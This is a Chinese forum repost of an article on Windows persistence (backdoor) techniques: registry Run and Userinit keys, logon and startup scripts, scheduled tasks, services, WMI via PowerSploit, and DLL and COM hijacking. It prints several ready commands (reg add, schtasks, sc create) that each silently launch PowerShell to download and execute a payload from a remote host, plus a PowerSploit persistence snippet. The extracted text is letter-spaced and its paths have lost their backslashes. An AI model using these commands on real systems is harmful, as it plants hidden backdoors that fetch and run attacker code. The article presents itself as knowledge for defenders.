搜索

[954] 2019-12-02_Window下常见的权限维持方式

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-16
2019-12-02_Window下常见的权限维持方式 W i n d o w 下 常 见 的 权 限 维 持 方 式 原 创   B y p a s s   B y p a s s   2 0 1 9 - 1 2 - 0 2 在 获 取 服 务 器 权 限 后 ， 通 常 会 用 一 些 后 门 技 术 来 维 持 服 务 器 权 限 ， 服 务 器 一 旦 被 植 入 后 门 ， 攻 击 者 便 如 入 无 人 之 境 。 本 文 将 对 常 见 的 w i n d o w 服 务 端 自 启 动 后 门 技 术 进 行 解 析 ， 知 己 知 彼 方 能 杜 绝 后 门 。 0 x 0 1   注 册 表 自 启 动 注 册 表 自 启 动 通 过 修 改 注 册 表 自 启 动 键 值 ， 添 加 一 个 木 马 程 序 路 径 ， 实 现 开 机 自 启 动 。 常 用 的 注 册 表 启 动 键 ： 使 用 以 下 命 令 可 以 一 键 实 现 无 文 件 注 册 表 后 门 ： L o g o n   S c r i p t s   后 门 后 门 注 册 表 路 径 ： H K E Y _ C U R R E N T _ U S E R E n v i r o n m e n t 创 建 字 符 串 键 值 ：   U s e r I n i t M p r L o g o n S c r i p t ， 键 值 设 置 为 b a t 的 绝 对 路 径 ： u s e r i n i t 后 门 后 门 在 用 户 进 行 登 陆 时 ， w i n l o g o n 运 行 指 定 的 程 序 。 根 据 官 方 文 档 , 可 以 更 改 它 的 值 来 添 加 与 删 除 程 序 。 利 用 U S E R I N I T 注 册 表 键 实 现 无 文 件 后 门 ： 0 x 0 2   组 策 略 设 置 脚 本 启 动 组 策 略 设 置 脚 本 启 动 运 行 g p e d i t . m s c 进 入 本 地 组 策 略 ， 通 过 W i n d o w s 设 置 的 “ 脚 本 ( 启 动 / 关 机 ) ” 项 来 说 实 现 。 因 为 其 极 具 隐 蔽 性 ， 因 此 常 常 被 攻 击 者 利 用 来 做 服 务 器 后 门 。 容 易 遇 到 的 问 题 ： 脚 本 需 全 路 径 ， 如 0 x 0 3   计 划 任 务 计 划 任 务 通 过 w i n d o w 系 统 的 任 务 计 划 程 序 功 能 实 现 定 时 启 动 某 个 任 务 ， 执 行 某 个 脚 本 。 #   R u n 键   H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n #   W i n l o g o n U s e r i n i t 键 H K E Y _ C U R R E N T _ U S E R S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n 关 键 词 ： 注 册 表 启 动 键 值 ， 类 似 的 键 值 很 多 , r e g   a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n   / v   " K e y n a m e "   / t   R E G _ S Z   / d   " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 8 8 8 / l o g o . g i f ' ) ) " "   / f c : t e s t . b a t [ H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n ] " U s e r i n i t " = " C : W i n d o w s s y s t e m 3 2 u s e r i n i t . e x e , C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 8 8 8 / l o g o . g i f ' ) ) " " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e
使 用 以 下 命 令 可 以 一 键 实 现 ： 容 易 遇 到 的 问 题 ： c m d 命 令 行 执 行 单 引 号 会 被 替 换 成 双 引 号 ， 故 这 里 使 用 三 个 双 引 号 替 代 。 计 划 脚 本 每   1   分 钟 运 行 一 次 。 0 x 0 4   服 务 自 启 动 服 务 自 启 动 通 过 服 务 设 置 自 启 动 ， 结 合 p o w e r s h e l l 实 现 无 文 件 后 门 。 使 用 以 下 命 令 可 实 现 ： 成 功 创 建 了 一 个 自 启 动 服 务 。 0 x 0 5   W M I 后 门 后 门 在 2 0 1 5 年 的 b l a c k h a t 大 会 上 M a t t   G r a e b e r 介 绍 了 一 种 无 文 件 后 门 就 是 用 的 W M I 。 这 里 可 以 利 用 一 个 工 具 p o w e r s p l o i t ， 下 面 用 它 的 P e r s i s t e n c e 模 块 来 示 范 一 个 简 单 的 例 子 。 0 x 0 6   d l l 劫 持 劫 持 如 果 在 进 程 尝 试 加 载 一 个 D L L 时 没 有 指 定 D L L 的 绝 对 路 径 ， 那 么 W i n d o w s 会 尝 试 去 指 定 的 目 录 下 查 找 这 个 D L L ； 如 果 攻 击 者 能 够 控 制 其 中 的 某 一   个 目 录 ， 并 且 放 一 个 恶 意 的 D L L 文 件 到 这 个 目 录 下 ， 这 个 恶 意 的 D L L 便 会 被 进 程 所 加 载 ， 从 而 造 成 代 码 执 行 。 s c h t a s k s   / c r e a t e   / s c   m i n u t e   / m o   1   / t n   " S e c u r i t y   S c r i p t "   / t r   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( " " " h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 8 8 8 / l o g o . g i f " " " ) ) " " s c   c r e a t e   " K e y N a m e "   b i n p a t h =   " c m d   / c   s t a r t   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 2 8 . 1 4 2 : 8 8 8 8 / l o g o . g i f ' ) ) " " s c   d e s c r i p t i o n     K e y N a m e   " J u s t   F o r   T e s t "       / / 设 置 服 务 的 描 述 字 符 串 s c   c o n f i g   N a m e   s t a r t =   a u t o                                 / / 设 置 这 个 服 务 为 自 动 启 动 n e t   s t a r t   N a m e                                                         / / 启 动 服 务 I m p o r t - M o d u l e   . P e r s i s t e n c e P e r s i s t e n c e . p s m 1 $ E l e v a t e d O p t i o n s   =   N e w - E l e v a t e d P e r s i s t e n c e O p t i o n   - P e r m a n e n t W M I   - D a i l y   - A t   ' 3   P M ' $ U s e r O p t i o n s   =   N e w - U s e r P e r s i s t e n c e O p t i o n   - R e g i s t r y   - A t L o g o n A d d - P e r s i s t e n c e   - F i l e P a t h   . E v i l P a y l o a d . p s 1   - E l e v a t e d P e r s i s t e n c e O p t i o n   $ E l e v a t e d O p t i o n s   - U s e r P e r s i s t e n c e O p t i o n   $ U s e r O p t i o n s   - V e r b o s e
比 较 常 用 的 如 L P K . d l l 的 劫 持 ： w i n 7 及 w i n 7 以 上 系 统 增 加 了 K n o w n D L L s 保 护 ， 需 要 在 注 册 表 ： 下 添 加   “ l p k . d l l ”   才 能 顺 利 劫 持 ： 0 x 0 7   C O M 劫 持 劫 持 利 用 C O M 劫 持 技 术 ， 最 为 关 键 的 是 d l l 的 实 现 以 及 C L S I D 的 选 择 ， 通 过 修 改 C L S I D 下 的 注 册 表 键 值 ， 实 现 对 C A c c P r o p S e r v i c e s C l a s s 和 M M D e v i c e E n u m e r a t o r 劫 持 ， 而 系 统 很 多 正 常 程 序 启 动 时 需 要 调 用 这 两 个 实 例 。 这 种 方 法 可 以 绕 过 A u t o r u n s 对 启 动 项 的 检 测 。 0 x 0 8   远 程 控 制 远 程 控 制 远 控 木 马 是 一 种 恶 意 程 序 ， 其 中 包 括 在 目 标 计 算 机 上 用 于 管 理 控 制 的 后 门 。 远 程 访 问 木 马 通 常 与 用 户 请 求 的 程 序 （ 如 游 戏 程 序 ） 一 起 ， 是 一 种 看 不 见 的 下 载 ， 或 作 为 电 子 邮 件 附 件 发 送 。 一 旦 主 机 系 统 被 攻 破 ， 入 侵 者 可 以 利 用 它 来 向 其 他 易 受 感 染 的 计 算 机 分 发 远 程 访 问 木 马 ， 从 而 建 立 僵 尸 网 络 。 一 般 分 为 客 户 端 和 服 务 端 ， 如 ： 灰 鸽 子 、 上 兴 远 控 、 梦 想 时 代 、 Q u a s a r R A T 等 。 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e s s i o n M a n a g e r E x c l u d e F r o m K n o w n D l l s
0 x 0 9   结 束 语 结 束 语 未 知 攻 焉 知 防 ， 本 文 分 享 了 几 种 W i n d o w 下 的 自 启 动 权 限 维 持 技 术 。 管 理 员 在 平 时 运 维 过 程 应 当 保 持 警 惕 ， 掌 握 一 定 的 入 侵 排 查 技 巧 ， 及 时 进 行 系 统 补 丁 更 新 ， 定 期 对 服 务 器 安 全 检 查 ， 才 能 有 效 地 预 防 后 门 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理